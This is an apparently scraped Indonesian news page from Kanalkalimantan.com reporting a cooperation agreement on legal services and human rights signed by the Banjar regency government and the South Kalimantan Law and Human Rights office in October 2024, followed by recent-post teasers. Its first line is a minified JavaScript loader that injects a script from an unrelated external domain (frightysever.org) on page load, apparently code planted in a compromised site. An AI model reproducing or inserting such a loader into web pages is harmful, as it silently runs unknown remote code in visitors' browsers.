(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Tingkatkan Pelayanan ke Masyarakat Pemkab Banjar Tandatangani Kesepakatandengan Kanwil Kemenkumham


KANALKALIMANTAN.COM, MARTAPURA – Pemkab Banjar dengan Kanwil Kemenkumham Kalimantan Selatan melakukan penandatanganan tentang Pembentukan Hukum, Pelayanan Hukum, Pengembangan Budaya Hukum, Penghormatan Pemajuan dan Pemenuhan HAM, serta Pelayanan Pemasyarakatan.

Penandatanganan itu dilakukan pada Kamis (17/10/2024) selepas pelaksanaan Apel Hari Kesadaran Nasional Lingkup Pemkab Banjar.

Penandatanganan itu dilakukan dalam rangka meningkatkan pelayanan kepada masyarakat melalui sinergitas antarstakeholder.

Kesepahaman Bersama ditandatangani oleh Pjs Bupati Banjar Akhmad Fydayeen dan Kepala Kanwil Kemenkumham Kalsel Jumadi, di halaman Kantor Bupati Banjar di Martapura.

Baca juga: Periksa 8 Saksi, KPK Dalami Aliran ke Paman Birin dan Dinas PUPR

Kesepahaman Bersama memuat antara lain kegiatan pengkajian, penelitian dan pengembangan hukum di bidang hukum dan Hak Asasi Manusia, pembentukan rancangan Produk Hukum Daerah, mediasi dan konsultasi Produk Hukum Daerah, penyuluhan hukum, pembinaan dan pengembangan Jaringan Dokumentasi dan Informasi Hukum.

Program bantuan hukum untuk masyarakat miskin, pembinaan dan pembentukan keluarga sadar hukum dan kelurahan sadar hukum, penyelenggaraan pemajuan, pemenuhan, perlindungan dan penegakan Hak Asasi Manusia, pelayanan kekayaan intelektual, pelayanan administrasi hukum umum, dan pendidikan, pelatihan kerja dan pelayanan kesehatan bagi warga binaan pemasyarakatan.

Dengan adanya kesepahaman bersama ini diharapkan akan menghasilkan outcome berupa peningkatan nilai Reformasi Birokrasi Pemerintah Daerah, Government Effectiveness (GE) dan Regulator Quality (RQ), juga dapat menghasilkan regulasi daerah yang berkualitas sehingga bisa meningkatkan kesadaran masyarakat terhadap peraturan perundang-undangan demi terciptanya situasi kondusif di masyarakat.
Dalam hal pemenuhan HAM pun.

Melalui kesepahaman bersama ini dipercaya dapat meningkatkan pelayanan administrasi hukum umum (AHU), sehingga segala pelayanan publik terhadap masyarakat dapat terlaksana secara baik. (Kanalkalimantan.com/dkispbanjar/kk)

Reporter: kk
Editor: Dhani


Risa

Recent Posts

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

16 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

19 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

22 jam ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

23 jam ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

23 jam ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

1 hari ago

This website uses cookies.